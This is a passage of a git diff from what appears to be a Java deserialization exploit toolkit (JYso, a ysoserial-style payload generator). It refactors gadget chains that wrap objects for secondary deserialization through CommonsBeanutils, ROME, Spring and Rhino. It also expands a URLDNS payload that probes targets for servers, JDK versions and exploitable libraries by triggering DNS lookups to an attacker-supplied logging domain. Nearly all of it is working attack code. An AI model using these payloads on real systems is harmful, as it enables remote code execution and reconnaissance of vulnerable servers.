"getObject"); + setFieldValue(transformer, "iMethodName", "getObject"); return tree; } - // CB 二次反序列化 public Object getSignedObjectWithCB(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - final BeanComparator comparator = new BeanComparator("lowestSetBit"); - final PriorityQueue queue = new PriorityQueue(2, comparator); + final BeanComparator comparator = new BeanComparator<>("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue<>(2, (Comparator) comparator); queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); - Reflections.setFieldValue(comparator, "property", "object"); - Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + setFieldValue(comparator, "property", "object"); + setFieldValue(queue, "queue", new Object[]{obj, obj}); return queue; } @@ -156,20 +200,20 @@ public class SignedObject implements ObjectPayload { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); - return Gadgets.makeMap(root, root); + return makeMap(root, root); } // Spring-Core 二次反序列化 public Object getSignedObjectWithSpring(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); - Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); + ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); + Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); - final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); - Reflections.setFieldValue(mitp, "methodName", "getObject"); + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); + setFieldValue(mitp, "methodName", "getObject"); return mitp; } @@ -177,34 +221,34 @@ public class SignedObject implements ObjectPayload { public Object getSignedObjectWithRhino(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); ScriptableObject dummyScope = new Environment(); - Map associatedValues = new Hashtable(); + Map associatedValues = new Hashtable<>(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); - Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + setFieldValue(dummyScope, "associatedValues", associatedValues); Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); ScriptableObject initContextScriptableObject = new Environment(); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Reflections.setAccessible(makeSlot); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); - Reflections.setFieldValue(slot, "getter", initContextMemberBox); + setFieldValue(slot, "getter", initContextMemberBox); NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); - Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); - Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); - Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); - Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + setFieldValue(initContextNativeJavaObject, "isAdapter", true); + setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); ScriptableObject scriptableObject = new Environment(); scriptableObject.setParentScope(initContextNativeJavaObject); makeSlot.invoke(scriptableObject, "object", 0, 2); NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); - Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); - Reflections.setFieldValue(nativeJavaArray, "javaObject", obj); + setFieldValue(nativeJavaArray, "parent", dummyScope); + setFieldValue(nativeJavaArray, "javaObject", obj); nativeJavaArray.setPrototype(scriptableObject); - Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + setFieldValue(nativeJavaArray, "prototype", scriptableObject); NativeJavaObject nativeJavaObject = new NativeJavaObject(); - Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); - Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); - Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + setFieldValue(nativeJavaObject, "parent", dummyScope); + setFieldValue(nativeJavaObject, "isAdapter", true); + setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); - Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); return nativeJavaObject; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java index 7dbb667..0091e68 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java @@ -12,6 +12,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Type; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; import static java.lang.Class.forName; /** @@ -57,7 +58,7 @@ public class Spring1 implements ObjectPayload { final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); - final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + final Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") .newInstance(objectFactoryProxy), Type.class, Templates.class); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java index 300fc29..99347d4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java @@ -11,6 +11,7 @@ import javax.xml.transform.Templates; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Type; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; import static java.lang.Class.forName; /** @@ -43,7 +44,7 @@ public class Spring2 implements ObjectPayload { AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(templates)); - final Type typeTemplatesProxy = Gadgets.createProxy( + final Type typeTemplatesProxy = createProxy( (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), Type.class, Templates.class); diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index 631bda0..cf51795 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -39,17 +39,14 @@ public class URLDNS implements ObjectPayload { public static String[] defaultClass = new String[]{ "CommonsCollections13567", "CommonsCollections24", - "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh", "Groovy", "Becl", - "DefiningClassLoader", "Jdk7u21", "JRE8u20", "ROME", - "Fastjson", "Jackson", "SpringAOP", "winlinux", @@ -58,64 +55,16 @@ public class URLDNS implements ObjectPayload { "jdk6_8", "jdk6_11", "jdk9_10", + "cb", + "db", + "datasource", + "jndiAttack", + "other", + "gadget", + "jdk", + "web" }; - public static String[] jndidefaultclass = { - //"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",//知名getter=classloader,jdk默认就有 - - "org.apache.naming.factory.BeanFactory",//最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法 - "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache",//tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString - "javax.el.ELProcessor",//和BeanFactory最经典的配合 - //"groovy.lang.GroovyShell",//有Groovy所以可以省略了 - //"groovy.lang.GroovyClassLoader",//有Groovy所以可以省略了 - "org.yaml.snakeyaml.Yaml",//知名YAML序列化,可以跟BeanFactory配合 - "com.thoughtworks.xstream.XStream",//知名XML序列化,可以跟BeanFactory配合 - //"org.xmlpull.v1.XmlPullParserException",//XStream依赖 - //"org.xmlpull.mxp1.MXParser",//XStream依赖 - "org.mvel2.sh.ShellSession",//mvel语法,可以跟BeanFactory配合 - //"com.sun.glass.utils.NativeLibLoader",//加载dll或者so,jdk默认就有 - - "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",//高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性 - "org.apache.commons.configuration.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 - "org.apache.commons.configuration2.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 - "org.apache.groovy.util.SystemUtil",//groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量 - "org.apache.batik.swing.JSVGCanvas",//远程加载svg造成XSS,XXE,RCE - - "org.apache.catalina.users.MemoryUserDatabaseFactory",//配合UserDatabase可以XXE,写文件 - "org.apache.catalina.UserDatabase",//配合MemoryUserDatabaseFactory可以XXE,写文件 - - "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",//以下均为DataSourceFactory,可以造成jdbc - "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", - "org.apache.commons.dbcp.BasicDataSourceFactory", - //"org.apache.commons.pool.KeyedObjectPoolFactory",//commons-dbcp1依赖 - "org.apache.commons.dbcp2.BasicDataSourceFactory", - //"org.apache.commons.pool2.PooledObjectFactory",//commons-dbcp2依赖 - "org.apache.tomcat.jdbc.pool.DataSourceFactory", - //"org.apache.juli.logging.LogFactory",//tomcat-jdbc依赖 - "com.alibaba.druid.pool.DruidDataSourceFactory", - "com.zaxxer.hikari.HikariJNDIFactory", - //"org.slf4j.LoggerFactory",//HikariCP依赖 - "org.h2.Driver",//h2 jdbc,可以RCE - "org.postgresql.Driver",//postgresql,可以远程加载XML执行SPEL,可以写文件 - "org.springframework.context.support.ClassPathXmlApplicationContext",//postgresql RCE依赖spring环境 - "com.mysql.jdbc.Driver",//mysql,可以二次反序列化,可以读文件,可以XXE - "com.mysql.cj.jdbc.Driver", - "com.mysql.fabric.jdbc.FabricMySQLDriver", - "oracle.jdbc.driver.OracleDriver",//oracle,可以带出机器用户名 - "com.ibm.db2.jcc.DB2Driver",//db2,可以写文件 - "COM.ibm.db2.jcc.DB2Driver", - - "com.ibm.ws.webservices.engine.client.ServiceFactory",//WebSphere的ObjectFactory,可以远程加载jar,很少用到 - "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", - - - "oracle.ucp.jdbc.PoolDataSourceImpl",//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖 - //"com.mchange.v2.c3p0.DriverManagerDataSource",//有C3P0所以可以省略了 - //"com.mchange.v2.c3p0.test.FreezableDriverManagerDataSource",//有C3P0所以可以省略了 - //"com.alibaba.druid.pool.xa.DruidXADataSource",//有com.alibaba.druid.pool.DruidDataSourceFactory所以可以省略了 - "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl",//hibernate-core-4.x,比较低版本才有的类 - - }; public static List list = new LinkedList(); @@ -144,12 +93,360 @@ public class URLDNS implements ObjectPayload { switch (clazzName) { + case "web": + Object tomcat_webserver = getURLDNSGadget("tomcat_webserver." + dnsLog, "org.apache.catalina.startup.Catalina"); + list.add(tomcat_webserver); + Object javax_servlet_tomcat9 = getURLDNSGadget("javax_servlet_tomcat9." + dnsLog, "javax.servlet.http.HttpServlet"); + list.add(javax_servlet_tomcat9); + Object jakarta_servlet_tomcat10 = getURLDNSGadget("jakarta_servlet_tomcat10." + dnsLog, "jakarta.servlet.http.HttpServlet"); + list.add(jakarta_servlet_tomcat10); + Object weblogic_webserver = getURLDNSGadget("weblogic_webserver." + dnsLog, "weblogic.servlet.internal.WebAppModule"); + list.add(weblogic_webserver); + Object resin_webserver = getURLDNSGadget("resin_webserver." + dnsLog, "com.caucho.server.resin.Resin"); + list.add(resin_webserver); + Object jetty_webserver = getURLDNSGadget("jetty_webserver." + dnsLog, "org.eclipse.jetty.server.Server"); + list.add(jetty_webserver); + Object websphere_webserver = getURLDNSGadget("websphere_webserver." + dnsLog, "com.ibm.wsspi.sib.core.exception.SINotAuthorizedException"); + list.add(websphere_webserver); + Object undertow_webserver = getURLDNSGadget("undertow_webserver." + dnsLog, "io.undertow.server.Connectors"); + list.add(undertow_webserver); + Object glassfish_webserver = getURLDNSGadget("glassfish_webserver." + dnsLog, "org.glassfish.jersey.server.ContainerException"); + list.add(glassfish_webserver); + Object tongweb_webserver1 = getURLDNSGadget("tongweb_webserver1." + dnsLog, "com.tongweb.catalina.core.StandardHost"); + list.add(tongweb_webserver1); + Object tongweb_webserver2 = getURLDNSGadget("tongweb_webserver2." + dnsLog, "com.tongweb.catalina.startup.ThanosCatalina"); + list.add(tongweb_webserver2); + Object tongweb_webserver3 = getURLDNSGadget("tongweb_webserver3." + dnsLog, "com.tongweb.catalina.startup.Bootstrap"); + list.add(tongweb_webserver3); + Object bes_webserver = getURLDNSGadget("bes_webserver." + dnsLog, "com.bes.enterprise.webtier.LifecycleException"); + list.add(bes_webserver); + Object cvicse_webserver = getURLDNSGadget("cvicse_webserver." + dnsLog, "com.cvicse.enterprise.connectors.ConnectorRuntime"); + list.add(cvicse_webserver); + Object primeton_webserver = getURLDNSGadget("primeton_webserver." + dnsLog, "com.primeton.appserver.enterprise.v3.common.XMLContentActionReporter"); + list.add(primeton_webserver); + Object apusic_webserver = getURLDNSGadget("apusic_webserver." + dnsLog, "com.apusic.web.container.WebContainer"); + list.add(apusic_webserver); + Object kingdee_webserver = getURLDNSGadget("kingdee_webserver." + dnsLog, "com.kingdee.eas.hse.scm.service.app.OnlineOrderInterface"); + list.add(kingdee_webserver); + break; + case "jdk": + Object jdk_17_to_22 = getURLDNSGadget("jdk_17_to_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); + list.add(jdk_17_to_22); + Object jdk_9_to_22_Unsafe = getURLDNSGadget("jdk_9_to_22_Unsafe." + dnsLog, "jdk.internal.misc.Unsafe"); + list.add(jdk_9_to_22_Unsafe); + Object jdk_le_8_BASE64Decoder = getURLDNSGadget("jdk_le_8_BASE64Decoder." + dnsLog, "sun.misc.BASE64Decoder"); + list.add(jdk_le_8_BASE64Decoder); + Object jdk_6_to_11 = getURLDNSGadget("jdk_6_to_11." + dnsLog, "com.sun.awt.SecurityWarning"); + list.add(jdk_6_to_11); + Object jdk_9_to_10 = getURLDNSGadget("jdk_9_to_10." + dnsLog, "jdk.incubator.http.HttpClient"); + list.add(jdk_9_to_10); + Object jdk8_Base64 = getURLDNSGadget("jdk8_Base64." + dnsLog, "java.util.Base64"); + list.add(jdk8_Base64); + Object jdk_xml_utils_Base64 = getURLDNSGadget("jdk_xml_utils_Base64." + dnsLog, "com.sun.org.apache.xml.internal.security.utils.Base64"); + list.add(jdk_xml_utils_Base64); + Object jrmp = getURLDNSGadget("jrmp." + dnsLog, "java.rmi.server.UnicastRemoteObject"); + list.add(jrmp); + Object Runtime = getURLDNSGadget("Runtime." + dnsLog, "java.lang.Runtime"); + list.add(Runtime); + Object ProcessBuilder = getURLDNSGadget("ProcessBuilder." + dnsLog, "java.lang.ProcessBuilder"); + list.add(ProcessBuilder); + Object activej_DefiningClassLoader = getURLDNSGadget("activej_DefiningClassLoader." + dnsLog, "io.activej.codegen.DefiningClassLoader"); + list.add(activej_DefiningClassLoader); + Object bcel = getURLDNSGadget("bcel." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); + list.add(bcel); + Object cc_bypass_DefiningClassLoader = getURLDNSGadget("cc_bypass_DefiningClassLoader." + dnsLog, "sun.org.mozilla.javascript.internal.DefiningClassLoader"); + list.add(cc_bypass_DefiningClassLoader); + Object cc_bypass_DefiningClassLoader2 = getURLDNSGadget("cc_bypass_DefiningClassLoader2." + dnsLog, "org.mozilla.javascript.DefiningClassLoader"); + list.add(cc_bypass_DefiningClassLoader2); + Object xalan_TemplatesImpl = getURLDNSGadget("xalan_TemplatesImpl." + dnsLog, "org.apache.xalan.xsltc.trax.TemplatesImpl"); + list.add(xalan_TemplatesImpl); + Object jdk_TemplatesImpl = getURLDNSGadget("jdk_TemplatesImpl." + dnsLog, "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + list.add(jdk_TemplatesImpl); + break; + case "gadget": + Object BadAttributeValueExpException = getURLDNSGadget("BadAttributeValueExpException." + dnsLog, "javax.management.BadAttributeValueExpException"); + list.add(BadAttributeValueExpException); + Object jackson_POJONode = getURLDNSGadget("jackson_POJONode." + dnsLog, "com.fasterxml.jackson.databind.node.POJONode"); + list.add(jackson_POJONode); + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + Object fastjson2 = getURLDNSGadget("fastjson2." + dnsLog, "com.alibaba.fastjson2.JSONArray"); + list.add(fastjson2); + Object UnicastRef = getURLDNSGadget("UnicastRef." + dnsLog, "sun.rmi.server.UnicastRef"); + list.add(UnicastRef); + Object fileupload_DiskFileItem = getURLDNSGadget("fileupload_DiskFileItem." + dnsLog, "org.apache.commons.fileupload.disk.DiskFileItem"); + list.add(fileupload_DiskFileItem); + Object fileupload_FileItem = getURLDNSGadget("fileupload_FileItem." + dnsLog, "org.apache.commons.fileupload.FileItem"); + list.add(fileupload_FileItem); + Object cc_TreeBag = getURLDNSGadget("cc_TreeBag." + dnsLog, "org.apache.commons.collections.bag.TreeBag"); + list.add(cc_TreeBag); + Object SignedObject = getURLDNSGadget("SignedObject." + dnsLog, "java.security.SignedObject"); + list.add(SignedObject); + Object MapMessage = getURLDNSGadget("MapMessage." + dnsLog, "org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); + list.add(MapMessage); + Object weblogic_gadget = getURLDNSGadget("weblogic_gadget." + dnsLog, "oracle.ucp.jdbc.PoolDataSourceImpl"); + list.add(weblogic_gadget); + Object spring_aop1_for_jackson = getURLDNSGadget("spring_aop1_for_jackson." + dnsLog, "org.springframework.aop.framework.AdvisedSupport"); + list.add(spring_aop1_for_jackson); + Object spring_aop2_for_jackson = getURLDNSGadget("spring_aop2_for_jackson." + dnsLog, "org.springframework.aop.framework.JdkDynamicAopProxy"); + list.add(spring_aop2_for_jackson); + Object jdk9_jshell = getURLDNSGadget("jdk9_jshell." + dnsLog, "jdk.jshell.JShell"); + list.add(jdk9_jshell); + Object jdk9 = getURLDNSGadget("jdk9." + dnsLog, "jdk.internal.loader.ClassLoaders$AppClassLoader"); + list.add(jdk9); + Object jxpath_gadget = getURLDNSGadget("jxpath_gadget." + dnsLog, "org.apache.commons.jxpath.ri.model.NodePointer"); + list.add(jxpath_gadget); + Object ASeq_gadget = getURLDNSGadget("ASeq_gadget." + dnsLog, "clojure.lang.ASeq"); + list.add(ASeq_gadget); + Object Page_gadget = getURLDNSGadget("Page_gadget." + dnsLog, "org.htmlparser.lexer.Page"); + list.add(Page_gadget); + Object tomcat_dbcp_getter1 = getURLDNSGadget("tomcat_dbcp_getter1." + dnsLog, "org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource"); + list.add(tomcat_dbcp_getter1); + Object tomcat_dbcp_getter2 = getURLDNSGadget("tomcat_dbcp_getter2." + dnsLog, "org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource"); + list.add(tomcat_dbcp_getter2); + Object tomcat_dbcp2_getter1 = getURLDNSGadget("tomcat_dbcp2_getter1." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource"); + list.add(tomcat_dbcp2_getter1); + Object tomcat_dbcp2_getter2 = getURLDNSGadget("tomcat_dbcp2_getter2." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource"); + list.add(tomcat_dbcp2_getter2); + Object postgresql_getter = getURLDNSGadget("postgresql_getter." + dnsLog, "org.postgresql.ds.PGConnectionPoolDataSource"); + list.add(postgresql_getter); + Object mysql_getter = getURLDNSGadget("mysql_getter." + dnsLog, "com.mysql.jdbc.jdbc2.optional.MysqlDataSource"); + list.add(mysql_getter); + Object druid_getter1_DruidDataSource = getURLDNSGadget("druid_getter1_DruidDataSource." + dnsLog, "com.alibaba.druid.pool.DruidDataSource"); + list.add(druid_getter1_DruidDataSource); + Object druid_getter2_DruidQuartzConnectionProvider = getURLDNSGadget("druid_getter2_DruidQuartzConnectionProvider." + dnsLog, "com.alibaba.druid.support.quartz.DruidQuartzConnectionProvider"); + list.add(druid_getter2_DruidQuartzConnectionProvider); + Object druid_getter3_DruidXADataSource = getURLDNSGadget("druid_getter3_DruidXADataSource." + dnsLog, "com.alibaba.druid.pool.xa.DruidXADataSource"); + list.add(druid_getter3_DruidXADataSource); + Object common_dbcp_getter1 = getURLDNSGadget("common_dbcp_getter1." + dnsLog, "org.apache.commons.dbcp.datasources.SharedPoolDataSource"); + list.add(common_dbcp_getter1); + Object common_dbcp_getter2 = getURLDNSGadget("common_dbcp_getter2." + dnsLog, "org.apache.commons.dbcp.datasources.PerUserPoolDataSource"); + list.add(common_dbcp_getter2); + Object common_dbcp2_getter1 = getURLDNSGadget("common_dbcp2_getter1." + dnsLog, "org.apache.commons.dbcp2.datasources.SharedPoolDataSource"); + list.add(common_dbcp2_getter1); + Object common_dbcp2_getter2 = getURLDNSGadget("common_dbcp2_getter2." + dnsLog, "org.apache.commons.dbcp2.datasources.PerUserPoolDataSource"); + list.add(common_dbcp2_getter2); + Object spring_aop_HotSwappableTargetSource = getURLDNSGadget("spring_aop_HotSwappableTargetSource." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource"); + list.add(spring_aop_HotSwappableTargetSource); + Object resin_qname_rce = getURLDNSGadget("resin_qname_rce." + dnsLog, "com.caucho.naming.QName"); + list.add(resin_qname_rce); + break; + case "other": + Object spel= getURLDNSGadget("spel." + dnsLog, "org.springframework.expression.spel.standard.SpelExpressionParser"); + list.add(spel); + Object commons_KeyedObjectPoolFactory= getURLDNSGadget("commons_KeyedObjectPoolFactory." + dnsLog, "org.apache.commons.pool.KeyedObjectPoolFactory"); + list.add(commons_KeyedObjectPoolFactory); + Object tomcat_PooledObjectFactory= getURLDNSGadget("tomcat_PooledObjectFactory." + dnsLog, "org.apache.commons.pool2.PooledObjectFactory"); + list.add(tomcat_PooledObjectFactory); + Object hibernate_rce= getURLDNSGadget("hibernate_rce." + dnsLog, "org.hibernate.jmx.StatisticsService"); + list.add(hibernate_rce); + Object mysql_MiniAdmin= getURLDNSGadget("mysql_MiniAdmin." + dnsLog, "com.mysql.cj.jdbc.admin.MiniAdmin"); + list.add(mysql_MiniAdmin); + Object OracleCachedRowSet_jndi= getURLDNSGadget("OracleCachedRowSet_jndi." + dnsLog, "oracle.jdbc.rowset.OracleCachedRowSet"); + list.add(OracleCachedRowSet_jndi); + Object oracle_jdbcrowset= getURLDNSGadget("oracle_jdbcrowset." + dnsLog, "oracle.jdbc.rowset.OracleJDBCRowSet"); + list.add(oracle_jdbcrowset); + Object dameng_DmdbRowSet= getURLDNSGadget("dameng_DmdbRowSet." + dnsLog, "dm.jdbc.driver.DmdbRowSet"); + list.add(dameng_DmdbRowSet); + Object jboss_rce= getURLDNSGadget("jboss_rce." + dnsLog, "org.jboss.util.propertyeditor.DocumentEditor"); + list.add(jboss_rce); + Object myfaces_rce= getURLDNSGadget("myfaces_rce." + dnsLog, "org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression"); + list.add(myfaces_rce); + Object jython_rce= getURLDNSGadget("jython_rce." + dnsLog, "org.python.core.PyBytecode.PyBytecode"); + list.add(jython_rce); + Object rome_rce= getURLDNSGadget("rome_rce." + dnsLog, "com.sun.syndication.feed.impl.ObjectBean"); + list.add(rome_rce); + Object vaadin_rce= getURLDNSGadget("vaadin_rce." + dnsLog, "com.vaadin.data.util.PropertysetItem"); + list.add(vaadin_rce); + Object wicket_rce= getURLDNSGadget("wicket_rce." + dnsLog, "org.apache.wicket.util.upload.DiskFileItem"); + list.add(wicket_rce); + Object rhino_js_rce= getURLDNSGadget("rhino_js_rce." + dnsLog, "org.mozilla.javascript.NativeError"); + list.add(rhino_js_rce); + Object hibernate_Getter= getURLDNSGadget("hibernate_Getter." + dnsLog, "org.hibernate.property.Getter"); + list.add(hibernate_Getter); + Object hibernate_TypedValue= getURLDNSGadget("hibernate_TypedValue." + dnsLog, "org.hibernate.engine.spi.TypedValue"); + list.add(hibernate_TypedValue); + Object net_sf_json_rce= getURLDNSGadget("net_sf_json_rce." + dnsLog, "net.sf.json.JSONObject"); + list.add(net_sf_json_rce); + Object clojure_rce= getURLDNSGadget("clojure_rce." + dnsLog, "clojure.lang.PersistentArrayMap"); + list.add(clojure_rce); + Object click_rce= getURLDNSGadget("click_rce." + dnsLog, "org.apache.click.control.Table"); + list.add(click_rce); + Object WildFly_rce= getURLDNSGadget("WildFly_rce." + dnsLog, "org.jboss.as.connector.subsystems.datasources.WildFlyDataSource"); + list.add(WildFly_rce); + Object WildFly_rce1= getURLDNSGadget("WildFly_rce1." + dnsLog, "org.apache.batik.swing.JSVGCanvas"); + list.add(WildFly_rce1); + Object hibernate_core_4= getURLDNSGadget("hibernate_core_4.x." + dnsLog, "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); + list.add(hibernate_core_4); + Object tomcat9_not_version8= getURLDNSGadget("tomcat9_not_version8." + dnsLog, "org.apache.catalina.util.ToStringUtil"); + list.add(tomcat9_not_version8); + Object log4j_jndi= getURLDNSGadget("log4j_jndi." + dnsLog, "org.apache.log4j.receivers.dbMap.JNDIConnectionSource"); + list.add(log4j_jndi); + Object log4j_driver= getURLDNSGadget("log4j_driver." + dnsLog, "org.apache.log4j.receivers.dbMap.DriverManagerConnectionSource"); + list.add(log4j_driver); + Object jdbcRowSet= getURLDNSGadget("jdbcRowSet." + dnsLog, "com.sun.rowset.JdbcRowSetImpl"); + list.add(jdbcRowSet); + Object ibatis_jndi= getURLDNSGadget("ibatis_jndi." + dnsLog, "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); + list.add(ibatis_jndi); + Object ibatis_XPathParser= getURLDNSGadget("ibatis_XPathParser." + dnsLog, "org.apache.ibatis.parsing.XPathParser"); + list.add(ibatis_XPathParser); + Object LogFactory= getURLDNSGadget("LogFactory." + dnsLog, "org.apache.juli.logging.LogFactory"); + list.add(LogFactory); + Object MXParser= getURLDNSGadget("MXParser." + dnsLog, "org.xmlpull.mxp1.MXParser"); + list.add(MXParser); + Object XmlPullParserException= getURLDNSGadget("XmlPullParserException." + dnsLog, "org.xmlpull.v1.XmlPullParserException"); + list.add(XmlPullParserException); + break; + case "jndiAttack": + Object BeanFactory_game_over = getURLDNSGadget("BeanFactory_game_over." + dnsLog, "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache"); + Object BeanFactory_yes = getURLDNSGadget("BeanFactory_yes." + dnsLog, "org.apache.naming.factory.BeanFactory"); + Object bes_BeanFactory = getURLDNSGadget("bes_BeanFactory." + dnsLog, "com.bes.enterprise.naming.factory.BeanFactory"); + Object el = getURLDNSGadget("el." + dnsLog, "javax.el.ELProcessor"); + Object groovy = getURLDNSGadget("groovy." + dnsLog, "groovy.lang.GroovyShell"); + Object BurlapProxyFactory_ObjectFactory = getURLDNSGadget("BurlapProxyFactory_ObjectFactory." + dnsLog, "com.caucho.burlap.client.BurlapProxyFactory"); + Object MemoryUserDatabaseFactory_ObjectFactory = getURLDNSGadget("MemoryUserDatabaseFactory_ObjectFactory." + dnsLog, "org.apache.catalina.users.MemoryUserDatabaseFactory"); + Object UserDatabase = getURLDNSGadget("UserDatabase." + dnsLog, "org.apache.catalina.UserDatabase"); + Object GenericNamingResourcesFactory_ObjectFactory = getURLDNSGadget("GenericNamingResourcesFactory_ObjectFactory." + dnsLog, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"); + Object Configuration_modify_system_property = getURLDNSGadget("Configuration_modify_system_property." + dnsLog, "org.apache.commons.configuration.SystemConfiguration"); + Object Configuration2_modify_system_property = getURLDNSGadget("Configuration2_modify_system_property." + dnsLog, "org.apache.commons.configuration2.SystemConfiguration"); + Object groovy_modify_system_env = getURLDNSGadget("groovy_modify_system_env." + dnsLog, "org.apache.groovy.util.SystemUtil"); + Object ibm_ObjectFactory = getURLDNSGadget("ibm_ObjectFactory." + dnsLog, "com.ibm.ws.webservices.engine.client.ServiceFactory"); + Object ibm_ObjectFactory2 = 